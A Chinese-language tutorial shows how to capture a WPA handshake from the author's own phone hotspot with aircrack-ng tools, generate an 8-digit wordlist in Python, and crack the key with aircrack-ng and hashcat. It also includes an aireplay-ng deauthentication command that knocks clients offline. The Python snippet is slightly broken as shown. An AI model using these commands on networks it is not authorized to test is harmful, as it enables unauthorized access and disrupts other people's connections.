文章目录
- 一、连接无线网卡
- 二、抓取TCP握手包
- 三、aircrack-ng跑包和hashcat跑包
- 1.aircrack
- 2.Hashcat
- 四、其他
环境:
VMware® Workstation 16 Pro
kali-linux-2023.1 64位
python3.9.13
RT3070-USB无线网卡
一、连接无线网卡
1.首先按下win+r打开运行窗口
2.输入services.msc,然后按回车键即可进入服务
3.找到VMware USB Arbitration Service 右击启动
4.右键虚拟机,设置,在USB控制器中,勾选USB兼容性2.0以及显示所有USB输入设备
5.打开kali,上方的虚拟机→可移动设备→自己的网卡型号
6.输入命令ifconfig查看,出现wlan0即为安装成功
6.使用airmon-ng命令检查网卡是否支持监听模式,如果该命令没有任何输出则表示没有可以支持监听模式的网卡。
二、抓取TCP握手包
1.开启无线网卡的监听模式
airmon-ng start wlan0
2.开启监听模式之后,无线接口wlan0变成了wlan0mon,可以使用ifconfig命令查看 ,如下图所示
注意啊:没有变为wlan0mon的也不是说网卡不支持监听,没有变wlan0mon就直接airodump-ng wlan0):
3.扫描环境中的WiFi网络
airodump-ng wlan0mon
其中,OnePlus Ace 2 Pro 为我的手机热点
4.抓取握手包
当有新用户连接WiFi时会发送握手包,使用网卡的监听模式抓取包含了WiFi密码的握手包。
抓包:
airodump-ng -c 6 --bssid 5A:10:53:1A:B7:BD -w hack wlan0mon
-c 指定信道,上面已经标记目标热点的信道
-bssid指定目标路由器的BSSID,就是上面标记的BSSID
-w指定抓取的数据包保存的目录
handshake即为握手包
三、aircrack-ng跑包和hashcat跑包
使用python生成字典,也可以进行下载
import itertools
import time
//8位数字字典大约950M
charset = "1234567890"
min_length = 8
max_length = 8
total_passwords = sum(len(charset) ** length for length in range(min_length, max_length + 1))
filename = "wifi_passwords.txt"
# 生成进度信息
def print_progress(length, current, total):
print(f"{current}/{total}", end="\n", flush=True)
# 生成密码
def generate_passwords(length):
for p in itertools.product(charset, repeat=length):
yield ''.join(p)
# 打开文件并写入密码组合
with open(filename, "w") as file:
for length in range(min_length, max_length + 1):
print(f"0/{total_passwords}", end="\n", flush=True)
for i, password in enumerate(generate_passwords(length)):
file.write(password + "\n")
time.sleep(0.0001)
print_progress(length, i+1, total_passwords)
print(f"生成完成")
1.aircrack
aircrack-ng -a2 -b 5A:10:53:1A:B7:BD -w wifipwd.txt hack-02.cap
a2
:WPA模式b
:破解的WIFI的BSSIDw
:指定字典文件wifipwd.txt
:密码字典的文件路径。
KEY FOUND![jns20231217]
2.Hashcat
通过将 .cap 文件上传到https://hashcat.net/cap2hashcat并将其转换为 .hc22000 格式
hashcat -m 22000 hack-02.hc22000 wifipwd.txt
-m 22000
:指定使用hc22000模式。hack-02.cap
:握手包的文件路径。wifipwd.txt
:密码字典的文件路径。
6ce383df82ebcc12c278729fd5a8d6ec:5a10531ab7bd:c0f4e66b2067:OnePlus Ace 2 Pro:jns20231217
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL)
Hash.Target......: hack-02.hc22000
Time.Started.....: Sun Dec 17 19:42:22 2023 (7 secs)
Time.Estimated...: Sun Dec 17 19:42:29 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (wifipwd.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 22604 H/s (10.14ms) @ Accel:128 Loops:1024 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 145408/390626 (37.22%)
Rejected.........: 0/145408 (0.00%)
Restore.Point....: 144384/390626 (36.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: jns20221120 -> jns20237223
Hardware.Mon.#1..: Util: 74%
Started: Sun Dec 17 19:41:54 2023
Stopped: Sun Dec 17 19:42:29 2023
四、其他
关闭监听模式,在监听模式下,kali不能连接网络
airmon-ng stop wlan0mon
解除网卡占用
airmon-ng check kill
开启无线网卡的监听模式,有包但没有握手包,需要强制踢下线:
aireplay-ng -0 2 -a D6:37:56:03:9E:EF -c C0:F4:E6:6B:20:67 wlan0mon
-0
后的2是次数,BSSID和STATION都能从上图中获取。
踢下线后获取握手包